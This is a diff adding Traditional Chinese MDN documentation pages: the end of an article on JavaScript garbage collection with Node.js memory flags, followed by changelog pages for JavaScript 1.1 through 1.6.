+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>截至2012年，所有現代瀏覽器都使用標記和清理的垃圾回收器。 在過去的幾年裡，JavaScript 垃圾回收領域的所有改進都是對這個演算法的實作與改進，但並未改進垃圾回收演算法本身，也沒有縮減垃圾的定義 「這個物件再也不會被使用」。</span></p>
+
+<h4 id="循環不再是一個問題">循環不再是一個問題</h4>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>在上面的第一個範例中，函式呼叫返回後，那兩個物件不再被全局物件可以尋訪到的物件參考。 因此，它們將被垃圾回收器發現，視為不可達到的。</span></p>
+
+<p><span style='background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: "Open Sans","Clear Sans","Helvetica Neue",Helvetica,Arial,sans-serif; font-size: 16px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: pre-wrap;'>第二個範例也是一樣的。 一旦 div 和它的處理程序從根本上無法尋訪，它們都會被垃圾回收掉，儘管他們自身相互參考。</span></p>
+
+<h4 id="限制：物件必須明顯的不可達到">限制：物件必須明顯的不可達到</h4>
+
+<p>雖然有這個限制存在，但在實務卻很少發生。這也是幾乎沒有人關心這件事的原因。</p>
+
+<h2 id="Node.js">Node.js</h2>
+
+<p>Node.js offers additional options and tools for configuring and debugging memory issues that may not be available for JavaScript executed within a browser environment.</p>
+
+<h4 id="V8_Engine_Flags">V8 Engine Flags</h4>
+
+<p>The max amount of available heap memory can be increased with a flag:</p>
+
+<p><code>node --<em>max-old-space-size=6000</em> index.js</code></p>
+
+<p>We can also expose the garbage collector for debugging memory issues using a flag and the <a href="https://nodejs.org/en/docs/guides/debugging-getting-started/">Chrome Debugger</a>:</p>
+
+<pre class="notranslate">node --expose-gc --inspect index.js</pre>
+
+<h2 id="可以參考">可以參考</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">Performance</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.1/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.1/index.html
new file mode 100644
index 0000000000..1095a343b3
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.1/index.html
@@ -0,0 +1,71 @@
+---
+title: New in JavaScript 1.1
+slug: Web/JavaScript/New_in_JavaScript/1.1
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript from Netscape Navigator 2.0 to 3.0. The old Netscape documentation references this as <a href="https://web.archive.org/web/20060318153542/wp.netscape.com/eng/mozilla/3.0/handbook/javascript/index.html">"Features added after version 1"</a>. Netscape Navigator 3.0 was released on August 19, 1996. Netscape Navigator 3.0 was the second major version of the browser with JavaScript support.</p>
+
+<h2 id="JavaScript_versions">JavaScript versions</h2>
+
+<p>Netscape Navigator 3.0 also introduced JavaScript language versions.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript"&gt;    &lt;!-- JavaScript for Navigator 2.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript for Navigator 3.0. --&gt;</pre>
+
+<h2 id="New_features_in_JavaScript_1.1">New features in JavaScript 1.1</h2>
+
+<h3 id="New_objects">New objects</h3>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Number")}}</li>
+</ul>
+
+<h3 id="New_properties">New properties</h3>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
+
+<h3 id="New_methods">New methods</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("Array.prototype.split()")}}</li>
+</ul>
+
+<h3 id="New_operators">New operators</h3>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code></li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/void">void</a></code></li>
+</ul>
+
+<h3 id="Other_new_features">Other new features</h3>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/HTML/Element/noscript">&lt;noscript&gt;</a></code></li>
+ <li><a href="/zh-TW/docs/Archive/Web/LiveConnect">LiveConnect</a>. Communication between Java and JavaScript.</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.1">Changed functionality in JavaScript 1.1</h2>
+
+<ul>
+ <li>"Object deletion". You can remove an object by setting its object reference to <code>null</code>.</li>
+ <li><code>constructor</code> and <code>prototype</code> properties on objects added.</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/eval">eval()</a></code> is now a method of every object (was previously a built-in function); it evaluates a string of JavaScript code in the context of the specified object.</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code> now works on every platform.</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/toString">toString()</a></code>: Added radix parameter, which specifies the base to use for representing numeric values.</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/isNaN">isNaN()</a></code> now works on every platform (not only Unix anymore)</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/parseFloat">parseFloat()</a></code> and <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/parseInt">parseint()</a></code> now return <code>NaN</code> on all platforms, if the first character of the specified string cannot be converted to a number; in previous releases, it returned <code>NaN</code> on Solaris and Irix and zero on all other platforms.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.2/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.2/index.html
new file mode 100644
index 0000000000..3c5db395fc
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.2/index.html
@@ -0,0 +1,89 @@
+---
+title: New in JavaScript 1.2
+slug: Web/JavaScript/New_in_JavaScript/1.2
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.2
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript from Netscape Navigator 3.0 to 4.0. The old Netscape documentation can be found on <a href="https://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">archive.org</a>. Netscape Navigator 4.0 was released on June 11, 1997. Netscape Navigator 4.0 was the third major version of the browser with JavaScript support.</p>
+
+<h2 id="JavaScript_versions">JavaScript versions</h2>
+
+<p>Netscape Navigator 4.0 executes JavaScript language versions up to 1.2. Note that Netscape Navigator 3.0 and earlier ignored scripts with the language attribute set to "JavaScript1.2" and higher.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript for Navigator 3.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript for Navigator 4.0. --&gt;</pre>
+
+<h2 id="New_features_in_JavaScript_1.2">New features in JavaScript 1.2</h2>
+
+<h3 id="New_objects">New objects</h3>
+
+<ul>
+ <li>You can create objects using literal notation (inspired by dictionary literal syntax from Python 1.x).</li>
+ <li>Arrays can now be created using literal notation (inspired by list literal syntax from Python 1.x).</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></li>
+</ul>
+
+<h3 id="New_properties">New properties</h3>
+
+<ul>
+ <li>{{jsxref("Function.arity")}}</li>
+</ul>
+
+<h3 id="New_methods">New methods</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
+
+<h3 id="New_operators">New operators</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them">Equality operators</a> (<code>==</code> and <code>!=</code>)</li>
+</ul>
+
+<h3 id="New_statements">New statements</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/label">Labeled</a> statements</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/import"><code>import</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/export"><code>export</code></a></li>
+</ul>
+
+<h3 id="Other_new_features">Other new features</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a></li>
+ <li><a href="https://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">Signed scripts</a></li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.2">Changed functionality in JavaScript 1.2</h2>
+
+<ul>
+ <li>You can now nest functions within functions.</li>
+ <li>Number now converts a specified object to a number.</li>
+ <li>Number now produces <code>NaN</code> rather than an error if <code>x</code> is a string that does not contain a well-formed numeric literal.</li>
+ <li>String now converts a specified object to a string.</li>
+ <li>{{jsxref("Array.prototype.sort()")}} now works on all platforms. It no longer converts undefined elements to null and sorts them to the high end of the array.</li>
+ <li>{{jsxref("String.prototype.split()")}}
+  <ul>
+   <li>It can take a regular expression argument, as well as a fixed string, by which to split the object string.</li>
+   <li>It can take a limit count so that it won't include trailing empty elements in the resulting array.</li>
+  </ul>
+ </li>
+ <li>{{jsxref("String.prototype.substring()")}}: no longer swaps index numbers when the first index is greater than the second.</li>
+ <li><code>toString()</code>: now converts the object or array to a literal.</li>
+ <li>The <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/break"><code>break</code></a> and <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/continue"><code>continue</code></a> statements can now be used with the new labeled statement.</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.3/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.3/index.html
new file mode 100644
index 0000000000..635126dc4f
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.3/index.html
@@ -0,0 +1,138 @@
+---
+title: New in JavaScript 1.3
+slug: Web/JavaScript/New_in_JavaScript/1.3
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.3
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript from Netscape Navigator 4.0 to 4.5. The old Netscape documentation can be found on <a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html">archive.org</a>. Netscape Navigator 4.5 was released on October 19, 1998.</p>
+
+<p>The most significant change in JavaScript 1.3 was compliance with ECMA-262 and Unicode by removing inconsistencies between JavaScript 1.2 and the new ECMA standard (which was published in June 1997). Additional features of version 1.2, at the time not specified by ECMA-262 were kept in the JavaScript language (see below for a list of differences).</p>
+
+<h2 id="JavaScript_versions">JavaScript versions</h2>
+
+<p>Netscape Communicator and Navigator 4.06 and 4.5 executes JavaScript language versions up to 1.3. Note that Communicator and Navigator 4.0-4.05 and earlier ignored scripts with the language attribute set to "JavaScript1.3" and higher.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript for Navigator 4.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.3"&gt; &lt;!-- JavaScript for Navigator 4.5. --&gt;</pre>
+
+<h2 id="New_features_in_JavaScript_1.3">New features in JavaScript 1.3</h2>
+
+<h3 id="New_globals">New globals</h3>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<h3 id="New_methods">New methods</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/isFinite"><code>isFinite()</code></a></li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Date.UTC()")}}</li>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
+
+<h3 id="Other_new_features">Other new features</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators" title="JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">Strict equality operators</a></li>
+ <li>Unicode support</li>
+ <li>A JavaScript Console was introduced.</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.3">Changed functionality in JavaScript 1.3</h2>
+
+<ul>
+ <li>Changes to <a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Date" title="JavaScript/Reference/Global_Objects/Date"><code>Date</code></a> to conform with ECMA-262
+
+  <ul>
+   <li>New constructor <code>Date(year, month, day, [,<em>hours</em> [<em>, minutes</em> [<em>, seconds</em> [<em>, milliseconds</em> ]]]])</code></li>
+   <li>Additional method parameters:
+    <ul>
+     <li><code>setMonth(month[, date])</code></li>
+     <li><code>setHours(hours[, min[, sec[, ms]]])</code></li>
+     <li><code>setMinutes(min[, sec[, ms]])</code></li>
+     <li><code>setSeconds(sec[, ms])</code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>The length of an array (property length) is now an unsigned, 32-bit integer.</li>
+ <li>{{jsxref("Array.prototype.push()")}}: In JavaScript 1.2, the <code>push</code> method returned the last element added to an array. Under JavaScript 1.3, <code>push</code> returns the new length of the array.</li>
+ <li>{{jsxref("Array.prototype.slice()")}}: In JavaScript 1.2, the <code>splice</code> method returned the element removed, if only one element was removed (<code>howMany</code> parameter is <code>1</code>). In JavaScript 1.3, <code>splice</code> always returns an array containing the removed elements. If one element is removed, an array of one element is returned.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#replace">Changes</a> to {{jsxref("String.prototype.replace()")}}.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#Boolean">Changes</a> to the {{jsxref("Boolean")}} object.</li>
+ <li><a href="https://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#toString">Changes</a> to <code>toString()</code>.</li>
+</ul>
+
+<h2 id="Non-ECMA-262_features_of_JavaScript_1.3">Non-ECMA-262 features of JavaScript 1.3</h2>
+
+<p>The following is a comparison between the June 1998 version of ECMA-262 and JavaScript 1.3. The following features were not part of the standard at that time, but implemented in JavaScript 1.3.</p>
+
+<h3 id="Keywords_and_operators">Keywords and operators</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">Strict equality operators</a></li>
+ <li>vertical tab (<code>\v</code> or <code>\u000B</code>) as an escape sequence.</li>
+</ul>
+
+<h3 id="Statements">Statements</h3>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/label"><code>label</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/do...while"><code>do...while</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/export"><code>export</code></a></li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/import"><code>import</code></a></li>
+</ul>
+
+<h3 id="Built-in_objects">Built-in objects</h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Methods_of_built-in_objects">Methods of built-in objects</h3>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource">toSource()</a></code></li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Function.arity")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.4/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.4/index.html
new file mode 100644
index 0000000000..d44fe1eb71
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.4/index.html
@@ -0,0 +1,25 @@
+---
+title: New in JavaScript 1.4
+slug: Web/JavaScript/New_in_JavaScript/1.4
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.4
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript 1.4, which was only used for Netscape's server side JavaScript released in 1999. The old Netscape documentation can be found on <a href="https://web.archive.org/web/20040802225238/http://developer.netscape.com/docs/manuals/js/core/jsref/index.htm">archive.org</a>.</p>
+
+<h2 id="New_features_in_JavaScript_1.4">New features in JavaScript 1.4</h2>
+
+<ul>
+ <li>Exception handling (<a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/throw"><code>throw</code></a> and <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a>)</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/in">in</a></code> operator</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/instanceof"><code>instanceof</code></a> operator</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.4">Changed functionality in JavaScript 1.4</h2>
+
+<ul>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/eval" title="JavaScript/Reference/Global_Functions/Eval">eval()</a></code> changes (cannot be called indirectly and no longer a method of <code>Object</code>)</li>
+ <li><code><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments" title="JavaScript/Reference/Functions/arguments">arguments</a></code> not a property of functions</li>
+ <li>Deprecated {{jsxref("Function.arity")}} in favor of {{jsxref("Function.length")}}</li>
+ <li>Changes to <a href="/zh-TW/docs/Archive/Web/LiveConnect">LiveConnect</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.5/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.5/index.html
new file mode 100644
index 0000000000..b516506dcd
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.5/index.html
@@ -0,0 +1,37 @@
+---
+title: New in JavaScript 1.5
+slug: Web/JavaScript/New_in_JavaScript/1.5
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>The following is a changelog for JavaScript 1.5. This version was included in Netscape Navigator 6.0 was released on November 14, 2000 and was also used in later versions of Netscape Navigator and Firefox 1.0. You can compare JavaScript 1.5 to JScript version 5.5 and Internet Explorer 5.5, which was released in July 2000. The corresponding ECMA standard is ECMA-262 Edition 3 (from December 1999).</p>
+
+<h2 id="New_features_in_JavaScript_1.5">New features in JavaScript 1.5</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+ <li>Multiple catch clauses in a <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a> statement are supported.</li>
+ <li>JavaScript authors can now add getters and setters to their objects.</li>
+</ul>
+
+<h2 id="Changed_functionality_in_JavaScript_1.5">Changed functionality in JavaScript 1.5</h2>
+
+<ul>
+ <li>Runtime errors are now reported as exceptions.</li>
+ <li>Regular Expression changes:
+  <ul>
+   <li>Quantifiers — +, *, ? and {} — can now be followed by a ? to force them to be non-greedy.</li>
+   <li>Non-capturing parentheses, (?:x) can be used instead of capturing parentheses, (x). When non-capturing parentheses are used, matched subexpressions are not available as back-references.</li>
+   <li>Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched.</li>
+   <li>The m flag has been added to specify that the regular expression should match over multiple lines.</li>
+  </ul>
+ </li>
+ <li>Functions can now be declared inside an if clause.</li>
+ <li>
+  <p>Functions can now be declared inside an expression.</p>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/javascript/new_in_javascript/1.6/index.html b/files/zh-tw/web/javascript/new_in_javascript/1.6/index.html
new file mode 100644
index 0000000000..0c3ffa0f25
--- /dev/null
+++ b/files/zh-tw/web/javascript/new_in_javascript/1.6/index.html
@@ -0,0 +1,87 @@
+---
+title: JavaScript 1.6 新鮮事
+slug: Web/JavaScript/New_in_JavaScript/1.6
+tags:
+  - E4X
+  - JavaScript
+  - JavaScript_version_overviews
+  - 所有類別
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.6
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>JavaScript 1.6 推出了幾項新機能：E4X、幾個新的 <code>Array</code> 方法、以及 Array 與 String 的通用化。</p>
+
+<p><a href="/zh_tw/Firefox_1.5" title="zh_tw/Firefox_1.5">Firefox 1.5</a> 或更新版的瀏覽器支援 JavaScript 1.6。</p>
+
+<h3 id="E4X" name="E4X">E4X</h3>
+
+<p>ECMAScript for XML（<a href="/zh_tw/E4X" title="zh_tw/E4X">E4X</a>）是個在 <a href="/zh_tw/JavaScript" title="zh_tw/JavaScript">JavaScript</a> 內建立並處理 <a href="/zh_tw/XML" title="zh_tw/XML">XML</a> 內容的強力技術。我們將持續改進我們對 E4X 的支援，包括新增與既有的 <a href="/zh_tw/DOM" title="zh_tw/DOM">DOM</a> 進行透明化的整合，不過建立以 XML 為基礎的 Web 應用程式的開發者已可受益於 Firefox 1.5 對 E4X 的支援。</p>
+
+<p>使用 E4X 時還是可以使用標準的 MIME 類型：</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+</pre>
+
+<p>不過，E4X 語法可能會和把 Script 放進 HTML 註解以避免舊瀏覽器讀取的現行方式（<code>&lt;!--...--&gt;</code>）發生衝突。E4X 也有可能與把 Script 放進 XML CDATA 區段（<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>）讓 Script 可以直接使用 "&lt;" 和 "&gt;" 符號（這並不適用於 HTML）的現行方式發生衝突。如果你不斷的見到莫名其妙的語法錯誤，那就把 "; e4x=1" 加到 MIME 類型裡：</p>
+
+<pre>&lt;script type="text/javascript; e4x=1"&gt;
+</pre>
+
+<p>注意，擴充套件中的 Script 一定會把 HTML 註解當作 E4X 的語法來處理。也就是說，"e4x=1" 是預設的。</p>
+
+<p>E4X 已在 <a href="/zh_tw/E4X/使用_E4X_處理_XML" rel="internal" title="zh tw/E4X/使用 E4X 處理 XML">使用 E4X 處理 XML</a> 一文中說明。</p>
+
+<h3 id="Array_的擴充" name="Array_的擴充">Array 的擴充</h3>
+
+<p>在此有七個新的 <code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array" title="zh tw/Core JavaScript 1.5 參考/物件/Array">Array</a></code> 方法，並且可以分成兩大類，項目定位方法以及迭代方法。項目定位方法有：</p>
+
+<ul>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/indexOf" title="zh tw/Core JavaScript 1.5 參考/物件/Array/indexOf">indexOf()</a></code> - 返回第一次出現指定項目的索引。</li>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/lastIndexOf" title="zh tw/Core JavaScript 1.5 參考/物件/Array/lastIndexOf">lastIndexOf()</a></code> - 返回最後一次出現指定項目的索引。</li>
+</ul>
+
+<p>迭代方法有：</p>
+
+<ul>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/every" title="zh tw/Core JavaScript 1.5 參考/物件/Array/every">every()</a></code> - 對陣列中的每一個項目執行函數，如果函數返回 true 就繼續下去。如果每一個項目都返回 true，就返回 true。</li>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/filter" title="zh tw/Core JavaScript 1.5 參考/物件/Array/filter">filter()</a></code> - 對陣列中的每一個項目執行函數，並以陣列返回函數執行結果為 true 的項目。</li>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/forEach" title="zh tw/Core JavaScript 1.5 參考/物件/Array/forEach">forEach()</a></code> - 對陣列中的每一個項目執行函數。</li>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/map" title="zh tw/Core JavaScript 1.5 參考/物件/Array/map">map()</a></code> - 對陣列中的每一個項目執行函數，並以陣列返回執行結果。</li>
+ <li><code><a href="/zh_tw/Core_JavaScript_1.5_參考/物件/Array/some" title="zh tw/Core JavaScript 1.5 參考/物件/Array/some">some()</a></code> - 對陣列中的每一個項目執行函數，如果函數返回 false 就繼續下去。如果有一個項目返回 true，就返回 true。</li>
+</ul>
+
+<p>閱讀 <a href="/zh_tw/Core_JavaScript_1.5_教學/陣列的運用#於_JavaScript_1.6_引入" rel="internal" title="zh tw/Core JavaScript 1.5 教學/陣列的運用#於 JavaScript 1.6 引入">陣列的運用</a> 以取得更多資訊，或見 Nicholas C. Zakas 的文章，<span class="exlink"><a class="external" href="http://www.webreference.com/programming/javascript/ncz/column4/index.html" title="http://www.webreference.com/programming/javascript/ncz/column4/index.html">Mozilla's New Array Methods</a></span>。</p>
+
+<h3 id="Array_.E8.88.87_String_.E5.85.B1.E9.80.9A_.28generics.29" name="Array_.E8.88.87_String_.E5.85.B1.E9.80.9A_.28generics.29">Array 與 String 的通用化</h3>
+
+<p>有時候你會想要把陣列的方法套用在字串上。這樣做的話，便是把字串視為字元的陣列。比如說，如果要檢查變數 <var>str</var> 裡面的每個字元都是字母，你就會這樣寫：</p>
+
+<pre>function isLetter(character) {
+  return (character &gt;= "a" &amp;&amp; character &lt;= "z");
+}
+
+if (Array.prototype.every.call(str, isLetter))
+  alert("字串 '" + str + "' 只有包含字母！");
+</pre>
+
